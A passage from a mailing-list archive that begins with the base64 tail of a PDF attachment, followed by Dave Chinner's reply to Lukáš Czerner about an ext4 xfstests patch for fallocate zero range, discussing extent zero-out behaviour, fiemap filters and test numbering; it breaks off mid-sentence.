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 aIOcWNuIxB6bPTbgGFoI5/p716LOBrmPDGh0YLWED4Qc6clvRBiGNaSQACcT2rGWGOZuiVoe0/Zc Kj3rYiDTBaw2wIhY1gOehobX2LN0THua9zQXN+EkYivLks0Qcku2Wk0hlliY55FCXNBWy1s4bNnp QNDGVrQc1vRBpuLWK5AbMwPaDqAcKioWTYI2s9JrWiOlNAA00PZktiII0bDt4eZPQZU9mH9nL3KR a0MAa0UAwAC9RBy3W3214Px42vwpUjGnYcwsnWUDovlzG30vuaRp9i6EQa4YI4GCOJoawZNaKBbE RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQE REBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERA REQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQERE BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARE QEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBE RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQE REBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERA REQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQERE BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARE QEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBE RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQE REBERAREQEREBERAREQeL1EQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQER EBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAR EQEREBERAReY1XqAiLGRgkaWOFQcCgyReBoAoMAsSXVLQOGDuCDNFg19ANWB4rIGuIQeoiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIC IiAiLntLpl3GJYw4NJI8wocDTJB0IiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIP BWpr4L1EQEREBF5ReoCIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAvAiwipQ0pm7LvQbEREGuUMpq kpQY4rxmp9HGrRwH5/zLXJ+9bWvZX4f/AO7v8F0oCIiAi8cvUBERB45waKuNB2rCKZkzdcTg9p4t NR7ljPl9nL7WS5tpp8uP3WZ/h/3efD6+1Bvfe28btD5WNdWlC8A1WyWaOFuqRwa3m40HvUTefvj/ AAvxs/e/HkP733eyi6t3/h/+TmP4r4P6eSDrguYrgF0L2vAwJY4O+ha3X9s1/pOljD600F7dVeVK rh2L92/+H+L/AMT4cvtdqjZ6fOH+A/efa/e58f1vrQWWaeOBuuVzWN+84gD3ryC5iuBqhe14GFWO DvoXFvX8P/yPiH8V8H9PJa9i/dOp8v8AF/4nw5ce36kHadwtQ/0jNGH106NbdVeVK5rZNcRW7dcz 2sbWlXuDRXxVcfT50/wH73j+++L/AB/5lKb3+4H7j4x/F/Bkcv1vqqg74LiK4bqhe17QaVY4OFfB a/n7bX6Xqs1106NbdVeVK1quPY/3Lv4f4j/CfBkM/wBb6qKLNPnv/A/e9vrfF/8AvP8AMgsk1xFb t1zPaxtaVe4NFfFILiK4brhe17a0qxwcK+C4N7/cN/h/jH8X8GRy/W+qqbJ+4d+4+M/wnwZDP9b6 qIOr+YWuv0vWj1106NbdVeVK1r2LbPcRW7dUz2sbWlXuDRXxVb/87/wP3v8A73xf4/8AMpTfP3Df 3HxD+L+DI5frfVVBIQXEVw3XC9r21pVjg4V8Fr/mFrr9L1Y/Urp0a26q8qVrVcmx/uD+4+M/wnwZ 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 eXBlL1BhZ2UvTWVkaWFCb3hbMCAwIDU5NSA4NDJdL1Jlc291cmNlczw8L1Byb2NTZXQgWy9QREYg L1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldL1hPYmplY3Q8PC9pbWcwIDEgMCBSPj4+Pi9D b250ZW50cyAyIDAgUi9QYXJlbnQgMyAwIFI+PgplbmRvYmoKMyAwIG9iago8PC9UeXBlL1BhZ2Vz L0NvdW50IDEvS2lkc1s0IDAgUl0vSVRYVCg1LjEuMyk+PgplbmRvYmoKNSAwIG9iago8PC9UeXBl L0NhdGFsb2cvUGFnZXMgMyAwIFI+PgplbmRvYmoKNiAwIG9iago8PC9Qcm9kdWNlcihjb252ZXJ0 ZmlsZW9ubGluZS5jb20pL0NyZWF0aW9uRGF0ZShEOjIwMTQwMjI2MTMzOTI1KzAxJzAwJykvTW9k RGF0ZShEOjIwMTQwMjI2MTMzOTI1KzAxJzAwJyk+PgplbmRvYmoKeHJlZgowIDcKMDAwMDAwMDAw MCA2NTUzNSBmIAowMDAwMDAwMDE1IDAwMDAwIG4gCjAwMDAxNjAyMDUgMDAwMDAgbiAKMDAwMDE2 MDQ5MSAwMDAwMCBuIAowMDAwMTYwMzI5IDAwMDAwIG4gCjAwMDAxNjA1NTQgMDAwMDAgbiAKMDAw MDE2MDU5OSAwMDAwMCBuIAp0cmFpbGVyCjw8L1NpemUgNy9Sb290IDUgMCBSL0luZm8gNiAwIFIv SUQgWzxlNTUzNTUzOGNmYjM1NWY0Zjg2ZmU5NWQxZGVmYzAzNz48M2U3YjE5OTc5YzcwYjgzMzhh ODg0ZjM2MjEzNDFkODQ+XT4+CnN0YXJ0eHJlZgoxNjA3MjIKJSVFT0YK ------=_NextPart_000_00D3_01CF3348.7A8DD0D0-- From david@fromorbit.com Wed Feb 26 16:18:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D7497F3F for ; Wed, 26 Feb 2014 16:18:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 41903304051 for ; Wed, 26 Feb 2014 14:18:03 -0800 (PST) X-ASG-Debug-ID: 1393453080-04cbb066e4781c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id zoj8Mo1nsNlx3B0a for ; Wed, 26 Feb 2014 14:18:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgpsAJhnDlN5LJYePGdsb2JhbABagwaDQ1KEOrNrhVSBGxcDAQEBATg1gicBAQQBIw8BIyMQCAECGAICBSECAg8FJQMHGhMbh1YHjQecB6BlFxaBE40rB4JuNYEUBJg1lWoo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Feb 2014 08:48:00 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WImnd-0005xK-U8; Thu, 27 Feb 2014 09:17:57 +1100 Date: Thu, 27 Feb 2014 09:17:57 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: <20140226221757.GD29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393453080 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 03:58:36PM +0100, Lukáš Czerner wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > Currently xfs/242 fails on xfs for me > > > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > > on any of my test machines for at least a year, even on 1k block > > size filesystems... > > > > $ sudo ./check xfs/242 > > FSTYP -- xfs (debug) > > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > > > xfs/242 1s ... 0s > > Ran: xfs/242 > > Passed all 1 tests > > $ > > Ok so once again. Yesterday was rally too late and I've > misinterpreted the diff. It's not that xfs behaves differently, but > rather ext4 behaves differently because we in fact have a code that > will zero out entire unwritten extent if it's small enough rather > than split it into unwritten and written. Yes, we've come across this before, and there are several solutions. this one is used in tests/generic/285: # Disable extent zeroing for ext4 as that change where holes ar created if [ "$FSTYP" = "ext4" ]; then DEV=`basename $TEST_DEV` echo 0 >/sys/fs/ext4/$DEV/extent_max_zeroout_kb fi > > > and it does behave differently than ext4. > > > > In what way? Does FALLOC_FL_ZERO_RANGE on XFS behave identically to > > XFS_IOC_ZERO_RANGE, or is that different too? Or you haven't tested > > it because you wrote this test as an ext4 specific test and so > > haven't run this specific test exercising the FALLOC_FL_ZERO_RANGE > > path in XFS? > > It does behave differently, but not because of zero_range code, but > rather when writing into uninitialized extent which is small enough. > The extent will not be split but rather converted to initialized and > respective parts will be zeroed out. > > Btw that's actually the reason why we use > > _filter_hole_fiemap > > filtes instead of > > _filter_fiemap > > I've used in ext4/242. Sure, but even so I think we might do better just to use the above zeroout tune and be explicit in what we expect to happen w.r.t. data vs holes... > > That said I think that both tests fs specific and fs independent > have it's value so I'll create generic/242 as well by using > _filter_hole_fiemap. Just use the first unused generic test number - trying to keep test numbers the same across different subdirs is just going to cause confusion.... > > hole punching - the only difference between a hole punch and a zero > > range on filesystems that use unwritten extents should be that the > > range being operated on has unwritten extents rather a hole..... > > > > > Btw this kind of optimization is actually something I've been > > > thinking of as well for ext4. Rather than going though the hassle of > > > changing extents around it might be worth in some situation to zero > > > out. But that's an optimization I have not implemented yet. > > > > Exactly my point - until such optimisations are implemented, all the > > filesystems should be behaving the same way using unwritten extents, > > just like for hole punching. Hence the tests should be checking that > 